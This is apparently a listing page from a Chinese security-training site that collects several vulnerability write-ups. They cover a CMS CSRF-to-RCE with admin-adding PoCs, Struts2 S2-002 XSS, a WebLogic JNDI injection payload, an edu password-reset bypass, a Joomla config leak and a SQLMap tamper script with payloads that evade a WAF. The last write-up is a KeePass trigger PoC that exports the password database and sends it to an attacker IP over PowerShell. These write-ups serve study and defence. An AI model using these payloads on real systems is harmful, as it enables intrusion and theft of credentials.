蚁景网安 - 网络安全人才培养服务提供商

代码审计之旅之百家CMS

记一次影视cms黑盒CSRF->RCE

俗话说得好，思路才是最重要，本文章主要提供思路，各位师傅在挖掘漏洞的时候说不定也能碰到类似的点。思路：当我们在找可以构建csrf的时候，多找找可以提交上传图片的，部分是可以自由构建url，如图：漏洞位置：反馈位置构造csrf 既然能任意构建url，并没有校验防御。开始找后台漏洞点添加管理员处抓包添加管理员转get试下，看能不能成功添加。发现可行，我们返回反馈列表抓包构建下poc：这里的话先构造一个添加管理员的，&符号需要编码下。然后返回后台看看反馈列表。这里的话只需要管理员点开触发即可。点击之后Img src会加载get请求。成功添加管理员 Poc: 添加管理员 /admin.php/sys/save?name=admin1&pass=123456 修改认证码 /admin.php/setting/save?admin_code=admin 当然没rce是没有灵魂的。在采集管理，下载资源会压缩保存。因为if会判断执行无法用|那么就用;，因为;在shell中，担任连续指令，从左到右执行，当执行到错误的命令会停止。可以看到我这里的分别执行了ls和ping命令。演示： ls;ping ls;dir;ping;i 复现成功 RCE 就不公布了，涉及到很多站点。

hutool XML反序列化漏洞(CVE-2023-24162)

Java Struts2系列的XSS漏洞（S2-002）

0x01 前言复现一下 S2-002 的洞 0x02 S2-002 漏洞简介 Struts2-002 是一个 XSS 漏洞，该漏洞发生在 s:url 和 s:a 标签中，当标签的属性 includeParams=all 时，即可触发该漏洞。漏洞影响版本 Struts 2.0.0 - Struts 2.1.8.1 0x03 环境搭建如果不想手动搭建的话，环境我已经配好了 https://github.com/Drun1baby/JavaSecurityLearning/tree/main/JavaSecurity/Struts2/S2-002AndS2-006 因为 s2-002 的洞是一个 XSS，与处理的 Action 没有任何关系，所以这里我们只需要配置 .jsp 文件，以及 .xml 文件 resources 文件夹下 struts.xml <?xml version="1.0" encoding="UTF-8"?> <!DOCTYPE struts PUBLIC "-//Apache Software Foundation//DTD Struts Configuration 2.0//EN" "http://struts.apache.org/dtds/struts-2.0.dtd"> <struts> <package name="S2-002" extends="struts-default"> <action name="login" class="com.drunkbaby.action.LoginAction" method="execute"> <result name="success">welcome.jsp</result> <result name="error">index.jsp</result> </action> </package> </struts> webapp 文件夹下 index.jsp <%@ page language="java" contentType="text/html; charset=UTF-8" pageEncoding="UTF-8"%> <%@ taglib prefix="s" uri="/struts-tags" %> <html> <head> <meta http-equiv="Content-Type" content="text/html; charset=UTF-8"> <title>S2-002</title> </head> <body> <h2>S2-002 Demo</h2> <s:url action="login" includeParams="all"></s:url> <s:a href="%{url}">click</s:a> </body> </html> welcome.jsp <%@ page language="java" contentType="text/html; charset=UTF-8" pageEncoding="UTF-8"%> <%@ taglib prefix="s" uri="/struts-tags" %> <html> <head> <meta http-equiv="Content-Type" content="text/html; charset=UTF-8"> <title>S2-002</title> </head> <body> <p>Hello <s:property value="username"></s:property></p> </body> </html> 接着在 WEB-INF 下，web.xml <!DOCTYPE web-app PUBLIC "-//Sun Microsystems, Inc.//DTD Web Application 2.3//EN" "http://java.sun.com/dtd/web-app_2_3.dtd" > <web-app> <display-name>S2-002 Example</display-name> <filter> <filter-name>struts2</filter-name> <filter-class>org.apache.struts2.dispatcher.FilterDispatcher</filter-class> </filter> <filter-mapping> <filter-name>struts2</filter-name> <url-pattern>/*</url-pattern> </filter-mapping> <welcome-file-list> <welcome-file>index.jsp</welcome-file> </welcome-file-list> </web-app> 项目结构如图，至此环境搭建完毕 0x04 漏洞复现与分析 http://localhost:8080/?%22%3E%3Cscript%3Ealert(1)%3C/script%3E%3C%22 漏洞分析之前自己也没有分析过 XSS 相关的漏洞，在最后我会做一个小结来思考一下如何自己挖掘出这个漏洞我们先下一个断点在 org.apache.struts2.views.jsp.ComponentTagSupport#doStartTag() 方法处，开始调试当在 JSP 文件中遇到 Struts2 标签 <s: 时，程序会先调用 doStartTag() 方法，并将标签中的属性设置到对应标签对象相应属性中。最后，在遇到 /> 结束标签的时候调用 doEndTag() 方法。进入到了 index.jsp 跟进 this.component.start() 在 index.jsp 中 includeParams=all，往下看代码知道 88 行，跟进 mergeRequestParameters() 方法在 includeParams=all 的情况下会调用 mergeRequestParameters() 将 Tomcat 处取来的参数，这里取到了我们输入的 payload，并且保存在 this.parameters 中 mergeRequestParameters() 方法运行完毕，往下是 includeGetParameters() 方法，也跟进去看一下；发现也是调用了 mergeRequestParameters()，同样是保存在了 this.parameters 中，不过这一次保存的是经过 url 编码的数据继续往下，程序还调用了 includeExtraParameters() 方法，跟进；这里的意思是如果有额外的参数，会被保存进这里，然后再保存到 this.paramters 其实到这里漏洞出发点就来了，第一次调用 mergeRequestParameters() 方法的时候那一段参数是未经过 URL 编码的，从而产生了 XSS 在执行完毕 doStartTag() 方法之后，会去到 doEndTag() 方法，我们跟进 this.component.end()，this.component 是 URL 类，所以也就是调用了 URL.end() 往下走，第 146 行，判断目前调度器（Dispatcher）的实例是否支持这一 Struts2 组件的行为，并且判断这一个请求是否需要 Struts2 组件调用某 Action 来处理；如果不需要调用 Action 处理，则直接进入 buildUrl() 的代码逻辑，如果需要 Action 来处理，会先去选择/调用 Action，再进行后续操作。其实也就是 Struts2 运行的基本逻辑此处因为我们定义了 action=login，所以进入到了 else 的代码逻辑，跟进 this.determineActionURL() 方法 determineActionURL() 方法先定位到了对应的 action，再进行 buildUrl() 的操作，跟进 buildUrl() 再跟进此时的 params 即将会被拿去拼接，造成触发 XSS 漏洞具体拼接是在 115 行的 buildParametersString() 方法，跟进再跟进至此，漏洞分析结束漏洞修复修改 pom.xml，将 Struts2 版本提升至 2.0.11（这是根据公告的，其实并没有真正解决漏洞）经过对 2.0.11.1 的代码阅读，在 UrlHelper 类 buildUrl() 方法里，第 136 行增加了如下修复代码: // link是最终的生成的url for(result = link.toString(); result.indexOf("<script>") > 0; result = result.replaceAll("<script>", "script")) { } 太鸡肋，基本算不上修复。。。 0x05 小结因为是 XSS 漏洞，成因基本都是未进行 URL 编码或某种转码，所以我们可以去看处理参数的过程进行漏洞挖掘。 S2-002 还是比较简单的一个漏洞。

WebLogic JNDI 注入（CVE-2021-2109）

0x01 前言学习一下 WebLogic JNDI 注入 RCE（CVE-2021-2109） 0x02 环境搭建和之前 WebLogic 的环境搭建是一致的，本文不再赘述。不过值得一提的是，我的 weblogic 版本是 10.3.6；需要手动添加 \server\lib\consoleapp\webapp\WEB-INF\lib\console.jar 到依赖里面 0x03 漏洞分析与复现漏洞影响版本与前提条件 Oracle WebLogic Server 10.3.6.0.0, 12.1.3.0.0, 12.2.1.3.0, 12.2.1.4.0, 14.1.1.0.0。拥有访问 /console/consolejndi.portal 页面的用户权限，或者存在 CVE-2020-14883 未授权访问漏洞。关于未授权的漏洞我会放到 WebLogic 的另外一篇文章中再做分析漏洞原理 WebLogic 的 /console/consolejndi.portal 接口可以调用存在 JNDI 注入漏洞的 com.bea.console.handles.JndiBindingHandle 类，从而造成 RCE。漏洞复现 payload 如下 http://127.0.0.1:7001/console/css/%252e%252e%252fconsolejndi.portal?_pageLabel=JNDIBindingPageGeneral&_nfpb=true&JNDIBindingPortlethandle=com.bea.console.handles.JndiBindingHandle(%22ldap://127.0.0;1:1389/aew0xy;AdminServer%22)&&我本地开启了一个 JNDI 的 Evil Class 和 Server 用 payload 打成功漏洞分析根据 payload 分析，先从 consolejndi.portal 开始看起，.portal 文件就类似于一个 servlet，在 consolejndi.portal 中存在 JNDI Binding 操作的处理容器，如图具体的处理逻辑在 /PortalConfig/jndi/jndibinding.portlet 去到 com.bea.console.actions.jndi.JNDIBindingActioncom.bea.console.actions.jndi.JNDIBindingAction 类中，发现存在一个 execute() 方法，疑似存在 jndi 注入的漏洞。观察需要如何构造恶意 payload，c 是由 ConsoleUtils.initNamingContext(serverMBean); 得来，而 serverMBean 是通过 domainMBean.lookupServer(serverName); 得来，其中一系列关系我将会由下图说明接着我们自上而下顺序看代码，先是强转了一个 JndiBindingHandle 类，这里面 getHandleContext() 的逻辑并不复杂，最终会调用 JndiBindingHandle 的构造函数。如图，我们在 payload 当中的这一段被放进了构造函的 type 与 objectIdentifier 中，而 "ldapxxxx" 这一段会被放在 components 中，由分号分隔 JNDIBindingPortlethandle=com.bea.console.handles.JndiBindingHandle("ldap://127.0.0;1:1389/aew0xy;AdminServer") 继续往下看，我们想要进入 JNDI 注入的那一段代码，需要满足两个条件，一个是 serverMBean != null，另一个是 c != null，我们进到 serverMBean 看一下代码逻辑 lookupServer 是 DommainMBean 接口的方法，我们去看它的实现类实际上这里是动态代理调用的，会自动跟进到 weblogic.management.jmx.MBeanServerInvocationHandler#invoke 下，其中 method 的值为 weblogic.management.configuration.DomainMBean#lookupServer，它的 method 代码逻辑在实现类当中，也就是 weblogic.management.configuration.DomainMBeanImpl#lookupServer 我们需要走到 do while 的逻辑里面，返回 var3，而不是返回 null 通过调试得到 var2 的值为 AdminServer，这里没有其他的值了，原因如图所以此处要求我们输入的 var1 与 AdminServer 相同，回过头去看 var1 是什么呢，var1 其实是 serverName 发现 serverName 也是可控的现在 serverBean != null 没问题，就要看 jndi lookup 的地址是否可控。很明显，jndi lookup 的地址也是可控的我们进到 JndiBindingHandle 类去看一下 set/getComponents() 的逻辑，先调用了 HandleImpl#getComponent 跟进主要逻辑就是在讲，以 ; 分隔，如此一来，我们就可控 context 与 binding，可以进行 jndi 注入最后捋一下整体条件 1、;号隔开 jndi 地址2、serverName 必须为 AdminServer 0x04 漏洞修复根据 Y4er 师傅这里的说法是，对 Jndi 的黑名单进行了判断，如图 0x05 小结不算难的一个漏洞，只是环境搭建当时踩了很多坑，欢迎师傅们与我交流踩坑问题，我会竭力帮助。

SRC挖掘之Access验证校验的漏洞挖掘

漏洞已修复，感谢某大佬的知识分享。任意用户密码重置->可获取全校师生个人mingan信息开局就是信息收集。对于挖掘edu的信息收集 1.可尝试谷歌搜索语法，获取学号信息 2. 旁站的渗透获取 3. 学校的贴吧获取(大部分都是本校学生) 当然我就是闲，进了目标学校的贴吧，跟他们聊天，然后你懂的（不推荐这样去做）类似于钓鱼吧再获取到学号的信息，自然就是水到渠成。由于权限太小，功能点太少，fuzz不到接口，j也没有mingan接口，越权就更不存在了。放弃了，去看看找回密码吧。先爆破一波账号是否存在(能不用别人账号就不用) 123456账号存在找回密码这里随便输入3个必选项，然后提交。尝试更改返回包，看看是不是只有前端校验。果然跟我想的一样，回到输入账号处了。那没办法了，咱还是得用关系，用好大哥的账号，然后再从他个人信息里面掏点东西过验证。重置成功了，但发现一个不对劲的地方，仔细想想发现有机会可以绕过。首先，Newpass参数是加密的重置密码，也就是123456。 Post发包就一个参数，还是密码。通过排除法能判定 Access-Reset-Ticket是校验用户一开始我是不信的，CAS校验应该是这样的本来TGT是CAS为用户签发的登录票据，拥有了TGT，用户就可以证明自己在CAS成功登录过。这些直接大缩水呢。但又没登录怎么获取的当前用户的Access-Reset-Ticket？真相只有一个，看看接口哪里获取到的原来是在输入要找回的用户，就会获取当前用户的Access-Reset-Ticket 6到了，开发是我大哥！尝试修改可行，修改管理员账号，然后起飞。下机。漏洞是已修复，厂商也修复了漏洞更新到了最新版本。

Joomla未授权访问漏洞(CVE-2023-23752)

漏洞简介　　　　在 Joomla! 版本为4.0.0 到 4.2.7中发现了一个漏洞，在Joomla受影响的版本中由于对Web服务端点的访问限制不当，远程攻击者可以绕过安全限制获得Web应用程序敏感信息。影响版本　　4.0.0 <= Joomla <= 4.2.7 环境搭建　　文件下载地址 https://downloads.joomla.org/cms/joomla4/4-2-7/Joomla_4-2-7-Stable-Full_Package.zip?format=zip 　　利用 phpstudy 搭建漏洞环境　　我们利用 phpstudy 来搭建环境，选择 Apache2.4.39 + MySQL5.7.26+ php7.4.3 ，同时利用 PhpStorm 来实现对项目的调试　　　　安装完成后　　前台　　　　后台　　漏洞复现　　构造路由 /api/index.php/v1/config/application?public=true 　　返回了数据库的相关信息　　　　漏洞分析　　经过调试分析发现是对 api 路径下的身份校验进行了绕过，默认在未登录的情况下访问返回 {"errors":[{"title":"Forbidden"}]} 　　所以就针对于 api 路径下的身份校验进行具体分析　　 api/index.php 　　　　 api/includes/app.php 　　　　 \Joomla\CMS\Application\CMSApplication::execute 　　　　 \Joomla\CMS\Application\ApiApplication::doExecute 　　　　其中的 $this->route(); 对应了路由应用程序　　 \Joomla\CMS\Application\ApiApplication::route 　　　　　　 $router 对应了 api 下所有的路由信息，之后调用 parseApiRoute 对路由进行处理　　 \Joomla\CMS\Router\ApiRouter::parseApiRoute 　　　　　　当 public 为false 时，是禁止外部访问的 GET /api/index.php/v1/config/application HTTP/1.1 Host: joomla.test Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.83 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9 Accept-Encoding: gzip, deflate Accept-Language: zh-CN,zh;q=0.9 Cookie:XDEBUG_SESSION=PHPSTORM Connection: close 　　　　‍ 　　但是通过路径传入的值在之后可以覆盖替换原本的值　　 GET /api/index.php/v1/config/application?public=true HTTP/1.1 Host: joomla.test Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.83 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9 Accept-Encoding: gzip, deflate Accept-Language: zh-CN,zh;q=0.9 Cookie:XDEBUG_SESSION=PHPSTORM Connection: close 　　‍ 　　　　‍

教你编写SQLMap的Tamper脚本过狗

测试环境最新版某狗测试方法安全狗其实是比较好绕的WAF，绕过方法很多，但这里我们就用一种：注释混淆一招鲜吃遍天下注释混淆，其实就是在敏感位置添加垃圾字符注释，常用的垃圾字符有/、!、*、%等这里再解释一下内联注释，因为后面要用到： MySQL内联注释： /*!xxxxxxx*/ !后面的语句会当作SQL语句直接执行但是如果!后面跟着MySQL版本号，那么就会出现两种情况 1. 当!后面接的数据库版本号小于自身版本号，就会将注释中的内容执行 2. 当!后面接的数据库版本号大于等于自身版本号，就会当做注释来处理。数据库版本号以五位数字表示，比如当前环境下数据库版本号表示为：50553 !后面接小于50553的：执行了select 1; !后面接大于等于50553的：执行了 select ; 下面进入正题 bypass and and 1=1拦但是把空格删掉就不拦了所以，我们认为，and后面不能直接跟空格... 那么如果用其他形式表示空格呢？前面说了，我们这次只使用注释混淆： burp，抓包设置长度5335是被拦截的长度为899的说明成功绕过我们选择其中一个作为空格的替代者就好了，这里我们选择/*%* 即：->/*/*%**/ 同理，or是一样的： order by 测试发现还是只要替换order by中间的空格就可以了，所以绕过方法和前面一样： union select union select使用之前的垃圾字符替换空格发现不行了：但是先不急于换方法，再爆破一遍试试：发现又有很多可以绕过的了。所以我们再更改一下替换空格的垃圾字符，这里选/*/!%!/*/ 即：->/*/!%!/*/ 获得当前数据库正常语句： ?id=-1 union select 1,database(),3 --+ 绕过：即：()->(/*/!%!/*/) 获取数据库中的表正常语句： ?id=-1 union select 1,group_concat(table_name),3 from information_schema.tables where table_schema='security' --+ 绕过：经过测试发现拦截的是select + from + information_schema的组合中间加垃圾字符替换空格已经不管用了，我们尝试对关键字进行混淆。对information_schema进行混淆测试：首先使用内联注释，发现，这里的版本号不管写啥，都直接被拦。考虑是检测了select + from + /*! + information_schema的组合加个换行试试还是不行... 那既然都换行了，那我们再在换行前加一些垃圾字符：如果我们直接插入垃圾字符，会当作SQL语句执行，所以前面还需要在垃圾字符前加个注释，可以是 /**/或#或--+ 但是经过测试只有 --+好用有这么多可以绕过的，我们随便选择一个，比如/*%/ 这样，最终语句如下： ?id=-1/*/!%!/*/union/*/!%!/*/select/*/!%!/*/1,group_concat(table_name),3/*/!%!/*/from/*/!%!/*//*!00000--+/*%/%0ainformation_schema.tables*/%20where%20table_schema=database(/*/!%!/*/)--%20+ 获取表字段正常语句： ?id=-1 union select 1,group_concat(column_name),3 from information_schema.columns where table_name='users' --+ 绕过语句： ?id=-1/*/!%!/*/union/*/!%!/*/select/*/!%!/*/1,group_concat(column_name),3/*/!%!/*/from/*/!%!/*//*!00000--+/*%/%0ainformation_schema.columns*/%20where%20table_name=0x7573657273--%20+ 获取字段信息 ?id=-1/*/!%!/*/union/*/!%!/*/select/*/!%!/*/1,/*/!%!/*/group_concat(username,0x2f,password),3/*/!%!/*/from/*/!%!/*/users 成功。编写tamper 当我们下载了SQLMap，解压后，我们可以找到文件夹【tamper】，该文件夹有很多个Tamper脚本帮助我们绕过一些安全防护：网上有很多相关脚本的介绍，我就不一一介绍了。虽然SQLMap提供了这么多的Tamper脚本，但是在实际使用的过程中，网站的安全防护并没有那么简单，可能过滤了许多敏感的字符以及相关的函数。这个时候就需要我们针对目标的防护体系构建相应的Tamper脚本。 Tamper相当于一个加工车间，它会把我们的Payload进行加工之后发往目标网站。我们随便打开一个Tamper脚本看一下它的结构： #apostrophemask.py #!/usr/bin/env python """ Copyright (c) 2006-2021 sqlmap developers (http://sqlmap.org/) See the file 'LICENSE' for copying permission """ # 导入SQLMap中lib\core\enums中的PRIORITY优先级函数 from lib.core.enums import PRIORITY # 定义脚本优先级 __priority__ = PRIORITY.LOWEST # 对当前脚本的介绍 def dependencies(): pass ''' 对传进来的payload进行修改并返回函数有两个参数。主要更改的是payload参数，kwargs参数用得不多。 ''' def tamper(payload, **kwargs): """ Replaces apostrophe character (') with its UTF-8 full width counterpart (e.g. ' -> %EF%BC%87) References: * http://www.utf8-chartable.de/unicode-utf8-table.pl?start=65280&number=128 * https://web.archive.org/web/20130614183121/http://lukasz.pilorz.net/testy/unicode_conversion/ * https://web.archive.org/web/20131121094431/sla.ckers.org/forum/read.php?13,11562,11850 * https://web.archive.org/web/20070624194958/http://lukasz.pilorz.net/testy/full_width_utf/index.phps >>> tamper("1 AND '1'='1") '1 AND %EF%BC%871%EF%BC%87=%EF%BC%871' """ return payload.replace('\'', "%EF%BC%87") if payload else payload 可见Tamper脚本的结构非常简单，其实渗透测试中的主要难点还是如何去绕过WAF。下面我们针对bypass部分的绕过方法进行编写Tamper脚本，来实现自动化SQL注入：实际测试的时候发现，sqlmap默认语句中的AS关键字也会被拦截，这里也用同样的方法替换一下就好 #!/usr/bin/env python import re from lib.core.settings import UNICODE_ENCODING from lib.core.enums import PRIORITY __priority__ = PRIORITY.NORMAL def dependencies(): pass def tamper(payload, **kwargs): if payload: payload = payload.replace(" ","/*/!%!/*/") payload = payload.replace("()","(/*/!%!/*/)") payload = re.sub(r"(?i)(INFORMATION_SCHEMA.SCHEMATA)",r"/*!00000--%20/*%/%0aINFORMATION_SCHEMA.SCHEMATA*/",payload) payload = re.sub(r"(?i)(INFORMATION_SCHEMA.TABLES)",r"/*!00000--%20/*%/%0aINFORMATION_SCHEMA.TABLES*/",payload) payload = re.sub(r"(?i)(INFORMATION_SCHEMA.COLUMNS)",r"/*!00000--%20/*%/%0aINFORMATION_SCHEMA.COLUMNS*/",payload) payload = re.sub(r"(?i)(/AS/)",r"//*!00000--%20/*%/%0aAS*//",payload) return payload 测试： sqlmap.py -u "http://192.168.13.131/sqli-labs/Less-2/?id=1" --tamper "bypassDog.py" --proxy "http://127.0.0.1:8080/" --fresh-queries --random-agent sqlmap.py -u "http://192.168.13.131/sqli-labs/Less-2/?id=1" --tamper "bypassDog.py" --proxy "http://127.0.0.1:8080/" --fresh-queries --random-agent --dbssqlmap.py -u "http://192.168.13.131/sqli-labs/Less-2/?id=1" --tamper "bypassDog.py" --proxy "http://127.0.0.1:8080/" --fresh-queries --random-agent python2 sqlmap.py -u "http://192.168.13.131/sqli-labs/Less-2/?id=1" --tamper "bypassDog.py" --proxy "http://127.0.0.1:8080/" --fresh-queries --random-agent -D security -T users --columns sqlmap.py -u "http://192.168.13.131/sqli-labs/Less-2/?id=1" --tamper "bypassDog.py" --proxy "http://127.0.0.1:8080/" --fresh-queries --random-agent -D security -T users -C username,password --dump --stop 3

木鱼cms系统审计小结

KeePass敏感信息明文传输漏洞复现（CVE-2023-24055）

一、漏洞描述漏洞简述 KeePass 是一款免费的开源密码管理器，可帮助您以安全的方式管理您的密码。您可以将所有密码存储在一个数据库中，该数据库由一把万能钥匙锁定。因此，您只需记住一个主密钥即可解锁整个数据库。数据库文件使用目前已知的最佳和最安全的加密算法（AES-256、ChaCha20 和 Twofish）进行加密。对 KeePass 配置文件具有写入权限的攻击者可以修改它并注入恶意触发器，例如通过添加导出触发器来获取明文密码。漏洞影响范围供应商：KeePass 产品：KeePass Password Safe 2 确认受影响版本：KeePass 2.53版本修复版本：KeePass 2.53.1版本二、漏洞复现实战环境搭建 Step 1 KeePass 2.53 下载地址：https://keepass.info/ Step 2 KeePass翻译语言包下载地址：https://keepass.info/translations.html 将语言包文件复制至安装路径下“Languages”文件夹下在KeePass中进入语言设置，切换语言漏洞复现根据原理,在安装路径下的配置文件KeePass.config.xml，根据触发器功能的安全缺陷进行利用。创建一个触发器，在密码数据库存在交互时进行明文传输。触发器创建主要细分为两种方式：（1）POC写入配置文件将编写好的POC代码写入KeePass.config.xml，须符合触发器XML格式。其中<Parameter>c:\Users\???\AppData\Local\Temp\exploit.xml</Parameter>字段为明文传输路径。利用powershell以GET方式传输数据库中密码文件。 POC： <TriggerSystem> <Triggers> <Trigger> <Guid>lztpSRd56EuYtwwqntH7TQ==</Guid> <Name>exploit</Name> <Events> <Event> <TypeGuid>s6j9/ngTSmqcXdW6hDqbjg==</TypeGuid> <Parameters> <Parameter>0</Parameter> <Parameter /> </Parameters> </Event> </Events> <Conditions /> <Actions> <Action> <TypeGuid>D5prW87VRr65NO2xP5RIIg==</TypeGuid> <Parameters> <Parameter>c:\Users\???\AppData\Local\Temp\exploit.xml</Parameter> <Parameter>KeePass XML (2.x)</Parameter> <Parameter /> <Parameter /> </Parameters> </Action> <Action> <TypeGuid>2uX4OwcwTBOe7y66y27kxw==</TypeGuid> <Parameters> <Parameter>PowerShell.exe</Parameter> <Parameter>-ex bypass -noprofile -c $var=([System.Convert]::ToBase64String([System.IO.File]::ReadAllBytes('c:\Users\???\AppData\Local\Temp\exploit.xml')));Invoke-WebRequest -uri http://192.168.XXX.XXX:8888/$var -Method GET </Parameter> <Parameter>False</Parameter> <Parameter>1</Parameter> <Parameter /> </Parameters> </Action> </Actions> </Trigger> </Triggers> </TriggerSystem> 保存KeePass.config.xml文件，触发器功能查看exploit触发器（2）通过触发器功能手工创建触发器以官方触发器构成为参考 https://keepass.info/help/kb/trigger_examples.htmlexploit触发器配置如下：属性项：命名为exploit，其余默认配置事件项：选择Saved database file（已保存数据库文件），判断条件选Equals（相等）条件项：为空操作项：导出当前数据库文件路径为上述文件传输路径文件格式选择 KeePass XML (2.x) 执行命令行/URL 文件路径为PowerShell.exe ，使触发器执行PowerShell 参数选择攻击接收的路径窗口方式选择Hidden 完成创建，可以看到exploit触发器在攻击机创建web服务，后续接收传输后的密码明文；在KeePass中新建一条密码记录并保存，可以看到攻击机终端已接收到明文信息进行base64解码，可以看到内容为密码记录内容，包含账号与密码等敏感信息。漏洞修复建议更新至KeePass 2.53.1 版本结束语本文主要介绍了CVE-2023-24055 KeePass敏感信息明文传输漏洞的复现过程，漏洞主要利用对 KeePass 配置文件在写入权限下可以修改它并注入恶意触发器，例如通过添加导出触发器来获取明文密码。

第2页第3页第4页第5页第6页第7页第8页第9页第10页第11页第12页第13页第14页第15页第16页第17页第18页第19页第20页第21页第22页第23页第24页第25页第26页第27页第28页第29页第30页第31页第32页第33页第34页第35页第36页第37页第38页第39页第40页第41页第42页第43页第44页第45页第46页第47页第48页第49页第50页第51页第52页第53页第54页第55页第56页第57页第58页第59页第60页第61页